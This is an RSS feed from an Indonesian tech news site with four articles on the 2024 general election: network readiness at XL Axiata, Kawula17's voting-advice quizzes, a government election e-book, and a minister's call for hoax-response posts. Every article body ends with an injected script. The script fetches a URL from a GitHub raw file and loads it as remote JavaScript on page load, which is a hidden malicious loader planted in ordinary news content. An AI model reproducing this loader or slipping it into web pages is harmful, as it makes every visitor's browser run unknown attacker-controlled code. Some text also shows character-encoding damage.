<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pemilu 2024 &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/pemilu-2024/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Thu, 11 Apr 2024 16:10:05 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>pemilu 2024 &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Selama Pemilu 2024 XL Axiata akan Jaga Kualitas Jaringannya</title>
		<link>https://nativzen.com/2024/02/08/selama-pemilu-2024-xl-axiata-akan-jaga-kualitas-jaringannya/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Thu, 08 Feb 2024 08:40:57 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[TELKO]]></category>
		<category><![CDATA[jaringan xl axiata]]></category>
		<category><![CDATA[pemilu 2024]]></category>
		<category><![CDATA[perayaan imlek]]></category>
		<category><![CDATA[xl axiata]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=3672</guid>

					<description><![CDATA[XL Axiata telah menyiapkan jaringan yang berkualitas untuk mensukseskan Pemilihan Umum (Pemilu) 2024 dan juga perayaan Imlek.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Untuk mensukseskan Pemilihan Umum (Pemilu) 2024, termasuk hari pencoblosan pada tanggal 14 Februari 2024, XL Axiata telah menyiapkan jaringan yang berkualitas. Meski tidak ada persiapan khusus, XL Axiata bertekad untuk menjaga jaringan yang dimilikinya.</p>



<p>Tekad tersebut tentunya bukan tanpa tujuan, yakni agar pesta demokrasi yang digelar setiap lima tahun sekali ini bisa dinimkati secara maksimal oleh pelanggan XL Axiata, dan tentu saja juga oleh masyarakat Indonesia secara umum. </p>



<p>&#8220;Kesiapan jaringan menghadapi Pemilu 2024 ini merupakan bagian dari upaya peningkatan jaringan dan pengalaman pelanggan yang terus-menerus dilaksanakan oleh XL Axiata di sepanjang tahun,&#8221; ucap Direktur &amp; Chief Technology Officer XL Axiata, I Gede Darmayusa.</p>



<p>Lebih lanjut, I Gede juga menegaskan bahwa XL Axiata telah menyiapkan jaringan dengan kapasitas yang mencukupi untuk mengantisipasi jika terjadi lonjakan trafik diÂ momentÂ Pemilu 2024, terutama menjaganya pada hari pencoblosan nanti.</p>



<p>&#8220;Pastinya, kenyamanan dan kelancaran aktifitas komunikasi pelanggan dan masyarakat menjadi perhatian dan prioritas kami. Harapan kami, jika terjadi lonjakan trafik,Â layanan tetap berjalan lancar tanpa ada kendala yang berarti,â€ ucap I Gede. </p>



<p>Diperkirakan selama pesta demokrasi tersebut akan terjadi peningkatan trafik sekitarÂ 10%, dibandingkan kondisi normal hari biasa. Petugas dan tim jaringan XL Axiata juga akan siap siaga di lapangan maupun dari pusat pemantauan di Jakarta.</p>



<p>Selain itu, XL Axiata juga telah menyiapkan jaringan untuk mengantisipasi terjadi lonjakan trafik dataÂ selama masa perayaan Imlek dan Cap Go Meh. Diprediksi, kenaikan trafik akan terjadi terutama di kota-kota besar di Indonesia.</p>



<p>XL Axiata akan memberikan perhatian penuh pada kualitas jaringan di sejumlah kawasan pemukiman, penginapan, tempat ibadah, serta pusat perbelanjaan. Seperti masa Pemilu 2024, diperkirakan, peningkatan trafik pada perayaan Imlek akan lebih banyak terjadi di layanan data.</p>



<p>Saat ini XL Axiata memiliki pelanggan sebanyak lebih dari 57 juta, dan diperkuat lebih dari 158 ribu BTS, dengan mayoritas BTS 4G, serta jaringan tulang punggung fiber optik yang membentang sepanjang lebih dari 159 ribu km yang tersebar di sebagian besar kepulauan Indonesia yang sangat luas.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kawula17 Ajak Anak Muda Jangan Golput di Pemilu 2024</title>
		<link>https://nativzen.com/2024/02/07/kawula17-ajak-anak-muda-jangan-golput-di-pemilu-2024/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 07 Feb 2024 07:39:37 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[TREN & LIFESTYLE]]></category>
		<category><![CDATA[golput]]></category>
		<category><![CDATA[kawula17]]></category>
		<category><![CDATA[pemilih muda]]></category>
		<category><![CDATA[pemilu 2024]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=3634</guid>

					<description><![CDATA[Kawula17 telah membuat kuis VVA Partai Politik dan Ca(wa)pres. Ini adalah ajakan kepada pemilih muda agar tidak golput di Pemilu 2024.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Di Indonesia suasana pemilu layaknya serupa pesta, apalagi di mata para pemilih muda, yang baru akan nyoblos untuk pertama kalinya pada tanggal 14 Februari 2024 nanti. Ditambah lagi, di hari pemilu tak sedikit brand yang bakal memberi diskon besar-besaran. </p>



<p>Mulai dari gerai makanan dan minuman, retail fashion dan aksesori, tempat wisata, supermarket, hingga bioskop dan tempat karaoke. Pemilu tahun ini bahkan akan lebih seru lagi, karena bertepatan dengan Valentineâ€<img src="https://s.w.org/images/core/emoji/15.0.3/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s Day.Â </p>



<p>Syarat utama untuk dapat diskon biasanya menunjukkan jari bertinta, pertanda sudah nyoblos. Masalahnya, apakah para pemilih ini sudah nyoblos dengan bijak dan cerdas? Jangan-jangan semua kandidat dicoblos, asal nyoblos saja, atau tidak ada yang dicoblos.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="549" src="https://nativzen.com/wp-content/uploads/2024/02/Screenshot-6-1024x549.png" alt="" class="wp-image-3638" srcset="https://nativzen.com/wp-content/uploads/2024/02/Screenshot-6-1024x549.png 1024w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-6-300x161.png 300w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-6-768x412.png 768w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-6-1536x823.png 1536w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-6-370x198.png 370w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-6-270x145.png 270w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-6-570x305.png 570w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-6-740x397.png 740w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-6.png 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Sejak dua tahun terakhir Kawula17 mengadakan survei secara reguler, dan kerap berdiskusi atau mengobrol langsung seputar politik dengan orang muda. Mereka menemukan banyak orang muda yang tidak terlalu paham soal politik, termasuk kenapa mereka harus ikut pemilu. </p>



<p>Namun, di sisi lain, ada sejumlah orang muda yang paham soal politik tapi memilih golput. &#8220;Kami heran, kenapa, kok, golput? Soalnya, mereka bilang, program yang diusung sama saja. Kami pikir, ah, tidak mungkin, pasti ada bedanya,â€ tegas Dian Irawati, co-founder Kawula17.idÂ </p>



<p>Kawula17 yang konsisten memberikan edukasi tentang politik kepada orang muda berusaha agar mereka tidak golput, hingga kemudian meluncurkan Voting Advice Application (VAA). Ini bertujuan membantu pemilih menentukan pilihan partai dan presiden. </p>



<p>Lalu, seperti apa aplikasi tersebut dan sejauh mana hasilnya valid?Â </p>



<h3 class="wp-block-heading">Remaja tak paham istilah politik</h3>



<p>Kawula17 melakukan survei nasional setiap 3 bulan yang diikuti 400 &#8211; 600 responden berusia 17 &#8211; 44 tahun. Pada Q3 2023, 80% responden menyatakan akan ikut nyoblos di Pemilu 2024, sementara itu sebagian kecil masih bingung, dan sangat kecil sudah yakin tidak akan nyoblos.</p>



<p>Di sisi lain, banyak remaja usia 17 tahun yang tidak memahami istilah seputar politik, misalnya oposisi, progresif, dan konservatif. Dian menyebutkan, ketika usia 16 tahun, seharusnya remaja sudah mendapatkanÂ civic educationÂ (pendidikan kewarganegaraan). </p>



<p>â€œKenapa,Â sih, kita harus memilih DPR? Memangnya kita punya suara apa? Siapa yang bisa memastikan DPR itu akan selalu sesuai janji? Mereka belum melihat apa pentingnya memilih DPR. Sepertinya ada yang terputus dengan pendidikan kewarganegaraan kita,&#8221; kata Dian.</p>



<p>Sementara itu, bicara tentang oposisi, Dian juga bercerita, di beberapa pemilu terakhir, calon presiden lebih menciptakan lingkungan politik tanpa oposisi. Mereka lebih bersifat merangkul dan berkoalisi. Pada akhirnya, remaja 17 tahun tidak mengerti soal oposisi.</p>



<p>&#8220;Mereka berpikir oposisi itu buruk, pasti akan menciptakan konfrontasi setiap saat. Padahal, dalam hidup berbangsa dan bernegara ini dibutuhkan oposisi, sehingga ketika membuat kebijakan, pembuatnya bisa melihat suatu isu dari berbagai perspektif,â€ tambah Dian.</p>



<h3 class="wp-block-heading">Kenapa susah pilih partai?</h3>



<p>&#8220;Berdasarkan survei satu tahun terakhir, ketika ditanya apakah sudah punya pilihan atau belum, orang muda di bawah usia 35 tahun selalu menjadi kelompok usia yang paling banyak belum punya pilihan,â€ kata Oktafia Kusuma,Â Research FellowÂ Kawula17.Â </p>



<p>Memang bukan hal yang mudah bagi orang muda untuk pilih partai. Salah satu penyebabnya karena gempuran informasi yang begitu masif dan kampanye yang malah bikin bingung. Itulah kenapa Kawula17 kemudian mengadopsi aplikasi VAA Partai Politik. </p>



<p>Aplikasi ini membantu memberi pemahaman tentang posisi suatu partai tentang berbagai isu, termasuk sosial, ekonomi, politik, dan lingkungan. LewatÂ gamificationÂ berupa kuis, orang muda diharapkan bisa menentukan pilihan akan partai yang paling sesuai dengan dirinya.Â </p>



<p>â€œKami ingin mengedepankan isu, bukan ideologi. Dengan begitu, kita bisa melihat bagaimana posisi partai terhadap suatu isu. Sehingga, pembicaraan antara anak dan orang tua di meja makan saat di rumah tidak lagi tentang identitas,â€ kata Dian.Â Â </p>



<p>Misalnya, ketika bicara soal KPK, pemilih diberi tiga pilihan posisi, yaitu independen, netral, dan tidak independen. Pilihan jawabannya selalu begitu, agar dapat merepresentasikan posisi mana yang lebih cocok dengan pemilih sesuai dengan isu yang diberikan. </p>



<p>Berdasarkan pilihan pemilih, di akhir kuis akan muncul saran soal partai yang gagasannya sejalan dengan pemilih dalam bentuk persentase. Misalnya, 71% partai A. Artinya, kamu disarankan untuk memilih partai A. </p>



<p>Kenapa persentase partai A tertinggi? Karena, pilihan kamu akan jawaban suatu isu banyak direpresentasikan oleh partai A. Sambutan soal VAA Partai Politik ini cukup fantastis. Hanya dalam waktu dua hari, Kawula17 sudah memberi 105.000 rekomendasi kepada pemilih.</p>



<p>â€œKami berharap kuis ini dapat dilihat oleh para pemilih muda sebagai sesuatu yang sebanding dengan waktu yang mereka luangkan untuk mengikutinya. Kalau orang muda tertarik, mereka akan ikuti dan akan dibagikan ke teman-temannya,&#8221; jelas Dian.Â Â </p>



<h3 class="wp-block-heading">Pilih presiden lewat kuis</h3>



<p>Sukses dengan VAA Partai Politik, pada Januari 2024, Kawula17 meluncurkan VAA Ca(wa)pres. Untuk VAA ini, pemilih disarankan untuk kenali programnya, baru tentukan presidennya. Dalam 72 jam, sudah 463.298 rekomendasi diberikan kepada pemilih yang ikut kuis.Â </p>



<p>â€œSambutannya sangat baik. Para pemilih yang ikut kuis kemudian juga dengan bangga memamerkan hasil kuisnya di media sosial. SejumlahÂ influencerÂ menghubungi kami dan memintaÂ linkÂ untuk merekaÂ shareÂ dengan sukarela,&#8221; kata Dian.</p>



<p>Yang menarik, survei mengungkap, mayoritas pemilih akan memilih presiden dan wakil presiden berdasarkan ide atau gagasan yang diperjuangkan. Selain itu, mereka juga melihat pengalaman kandidat dan jabatan sebelumnya. </p>



<p>Mereka yang ikut kuis VVA Ca(wa)pres tidak lagi mempertimbangkan identitas, misalnya suku atau agama, dan penampilan fisik. Hal ini sejalan dengan temuan dari partner Kawula17, yaitu Newbie Matters, yang menyebutkan bahwa Gen Z merupakan pemilih rasional.</p>



<p>Kuisnya berisi 15 pertanyaan yang disarikan dari visi-misi masing-masing pasangan presiden dan calon presiden. Sejumlah pertanyaan terbilang sulit, sehingga jawabannya perlu dipikirkan dengan matang dan waktu sedikit lebih lama. </p>



<p>Tapi, hanya dalam waktu sekitar 6 menit, umumnya pemilih akan mendapatkan rekomendasi tentang kandidat yang programnya dinilai paling selaras dengan keinginan pemilih. Tetapi, tak sedikit orang kemudian menanyakan rekap dari hasil kuis pemilih. </p>



<p>â€œKuis itu dibuat bukan untuk mendapatkan rekap hasil, melainkan memberi kesempatan pada pemilih untuk mempelajari visi dan misi kandidat, membandingkan visi-misi tersebut, dan kemudian menyelaraskan visi-misi yang paling dekat dengan dirinya,&#8221; jelas Dian.</p>



<h3 class="wp-block-heading">Jeli temukan perbedaan</h3>



<p>Kuis untuk memilih partai dan presiden perlu dibuat sedemikian rupa agar mudah dimengerti. Karena itu, pertanyaan kuis harus dibuat dengan kalimat yang sederhana. Dian dan Okta bercerita, membuat VAA Partai Politik jauh lebih menantang daripada VAA Ca(wa)pres. </p>



<p>Mereka harus memilah isu yang relevan dengan orang muda. Sebab, isu yang dibicarakan di DPR sangat banyak.Â Dian mencontohkan tentang lingkungan, pertambangan merupakan isu yang penting. Tapi, bagi banyak orang di luar bidang tersebut, pertambangan tidak dinilai penting,&#8221; ujar Dian.</p>



<p>Sementara, Okta menambahkan bahwa posisi partai tentang suatu isu bisa berubah-ubah. Karena itu, tim penyusun kuis selalu mencari konfirmasi ke semua partai yang ada. Isu-isu apa yang akan diangkat saat para partai tersebut saat berkampanye.</p>



<p>â€œIsu merupakan suatu hal yang baru diangkat oleh partai. Selama ini partai berkampanye dengan dangdut. Anak-anak sekarang berbeda. Ketika disuguhi dangdut, mereka belum tentu mau datang. Karena itu, partai harus sudah mulai berpikir dengan cara berbeda,â€ lanjut Dian.Â </p>



<p>Untuk VAA Ca(wa)pres, Kawula17 mencermati perbedaan program di antara ketiga pasang kandidat. Karena, programnya sangat mirip. Saat dipetakan seperti itu, orang jadi tersadar bahwa sebetulnya yang ditawarkan oleh ketiga kandidat tidak berbeda jauh. </p>



<p>&#8220;Mencari titik pembeda inilah yang tidak mudah. Misalnya, ada pertanyaan tentang peningkatan kinerja POLRI. Orang bertanya, kenapa jawabannya ada yang tentang kenaikan gaji dan ada yang tentang pemahaman HAM? Memang itu poinnya,&#8221; kata Okta.</p>



<p>Ditutup oleh perkataan Okta bahwa memang harus adaÂ critical pointÂ dari tiga pasang kandidat berbeda, sehingga kemudian pemilih bisa mencocokkan preferensinya dengan tiga pilihan jawaban tersebut. Dengan begitu, pemilih muda ini tidak salah memaknai visi-misi tersebut.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>E-Book Pemilu Damai Pedia, Kupas Tuntas Pemilu 2024</title>
		<link>https://nativzen.com/2024/02/06/e-book-pemilu-damai-pedia-kupas-tuntas-pemilu-2024/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 06 Feb 2024 11:14:11 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[e-book pemilu 2024]]></category>
		<category><![CDATA[pemilu 2024]]></category>
		<category><![CDATA[pemilu damai pedia]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=3599</guid>

					<description><![CDATA[Kalau kamu mau lebih paham mengenai Pemilu 2024, Kemenkominfo mengajak untuk mengakses e-book Pemilu Damai Pedia.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Kamu mau lebih tahu dan lebih paham mengenai Pemilihan Umum Serentak 2024? Ini bisa kamu temukan dengan cara mengakses buku elektronik alias e-book Pemilu Damai Pedia melalui tautan <a href="https://s.id/pemiludamaipedia">https://s.id/pemiludamaipedia</a>.</p>



<p>Buku elektronik ini sendiri merupakan upaya Pemerintah dalam memenuhi hak masyarakat untuk memperoleh informasi seputar Pemilu 2024. Diharapkan, masyarakat beisa lebih mengerti dan menjadikan Pemilu 2024 lebih berintegritas, aman, jujur dan adil.</p>



<p>Seperti dijelaskan oleh Menteri Komunikasi dan Informatika Budi Arie Setiadi bahwa masyarakat Indonesia kini bisa menyelami Pemilu 2024 melalui e-book Pemilu Damai Pedia. Ini adalah sumber informasi mengenai perhelatan Pemilu 2024.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="598" src="https://nativzen.com/wp-content/uploads/2024/02/Screenshot-597-1024x598.png" alt="" class="wp-image-3600" srcset="https://nativzen.com/wp-content/uploads/2024/02/Screenshot-597-1024x598.png 1024w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-597-300x175.png 300w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-597-768x449.png 768w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-597-370x216.png 370w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-597-270x158.png 270w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-597-570x333.png 570w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-597-740x432.png 740w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-597.png 1236w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>&#8220;Pemerintah berupaya untuk terus mengedukasi mengenai Pemilu 2024 yang bertujuan untuk memenuhi hak masyarakat. Melalui e-book Pemilu Damai Pedia, masyarakat bisa mendapatkan informasi mengenai perhelatan Pemilu 2024,&#8221; ujar Budi Arie.</p>



<p>Lebih lanjut, Budi Arie yang mengajak seluruh masyarakat Indonesia untuk mengakses e-book Pemilu Damai Pedia juga meyakini bahwa Pemilu 2024 akan akan menjadi pesta demokrasi di Tanah Air yang berintegritas, aman, serta jujur dan adil.</p>



<p>Lantas, apa saja yang tersaji di dalam e-book Pemilu Damai Pedia ini? Selain menyajikan Sejarah Pemilu di Indonesia, e-book ini juga menyajikan Pelaksanaan Pemilu 2024, tata cara memilih dengan benar, mengenal partai dan kandidat yang berpartisipasi di Pemilu 2024.</p>



<p>Selain itu, ada juga informasi mengenai jumlah pemilih tetap, jadwal dan tahapan penyelenggaraan pemilu, kampanye pemilu, surat suara dan kelengkapan pemilu lainnya, jumlah dan profil partai politik di Pemilu 2024, serta tempat pemungutan suara.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Cegah Hoaks, Budi Arie Minta Platform Digital Bangun Posko Siaga Pemilu</title>
		<link>https://nativzen.com/2023/11/17/cegah-hoaks-budi-arie-minta-platform-digital-bangun-posko-siaga-pemilu/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 17 Nov 2023 10:30:08 +0000</pubDate>
				<category><![CDATA[Apps & OS]]></category>
		<category><![CDATA[NEWS]]></category>
		<category><![CDATA[budi arie]]></category>
		<category><![CDATA[cegah hoaks]]></category>
		<category><![CDATA[menkominfo]]></category>
		<category><![CDATA[pemilu 2024]]></category>
		<category><![CDATA[platform digital]]></category>
		<category><![CDATA[posko pemilu]]></category>
		<guid isPermaLink="false">http://nativzen.com/?p=909</guid>

					<description><![CDATA[Budi Arie menilai bahwa keberadaan posko tersebut akan memiliki manfaat sebagai sarana koordinasi untuk menghalau hoaks dan segala bentuk konten negatif.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Komisi Pemilihan Umum (KPU) telah mengumumkan bahwa kampanye Pemilu 2024 dimulai pada 28 November 2024. Terkait dengan hal itu, Kementerian Komunikasi dan Informatika terus mengajak untuk mewujudkan Pemilu 2024 yang damai.Â </p>



<p>Ajakan ini disampaikan langsung oleh Menkominfo Budi Arie Setiadi kepada penyelenggara platform digital di Tanah Air saat membuka Seminar dan Workshop Lawan Misinformasi untuk Pemilu Sehat Kota Bandung secara online dari Jakarta Pusat, Kamis (16/11/2023).</p>



<p>&#8220;Secara khusus pada kesempatan ini saya meminta kepada WhatsApp dan Meta untuk mencurahkan energi lebih dan sumber daya secara optimal untuk menjaga ruang digital dengan membuat Posko Siaga Pemilu Meta,&#8221;Â ungkap Budi Arie.Â </p>



<p>Budi Arie menilai bahwa keberadaan posko tersebut akan memiliki manfaat sebagai sarana koordinasi untuk menghalau hoaks dan segala bentuk konten negatif yang dilarang sesuai peraturan perundang-undangan yang berlaku.Â </p>



<p>&#8220;Posko akan beroperasi 24 jam non stop sepanjang masa Pemilu. Jika memungkinkan, saya minta Meta membuat posko ini di Kantor Kominfo agar koordinasi kita bisa lebih cepat dan gesit. Ini salah satu cara untuk menciptakan Pemilu 2024 yang damai,&#8221; tambah Budi Arie.</p>



<p>Sebagai platform media komunikasi yang efektif di era transfer informasi yang begitu cepat, Menkominfo menegaskan posisi dan peran media sosial penting sebagai sumber informasi dan media komunikasi, terlebih di masa Pemilu serentak mendatang.&nbsp;</p>



<p>â€œDibalik potensi pemanfaatan tersebut, ada ancaman information disorder, cyberbulling, hate space, serta kesenjangan akses terhadap informasi perlu kita tangani dan antisipasi bersama-sama. Tantangan-tantangan di ruang digital di masa Pemilu juga semakin nyata,&#8221; pungkasnya.</p>



<p>Selain Menkominfo yang hadir virtual, kegiatanÂ Workshop dan Seminar iniÂ dihadiri secara langsung Ketua Bawaslu RI Rahmat Bagja, Plh Asisten Administrasi Umum Pemprov Jawa Barat Hening Widiatmoko, serta Manager Kebijakan Publik WhatsApp Indonesia Esther Samboh.Â </p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
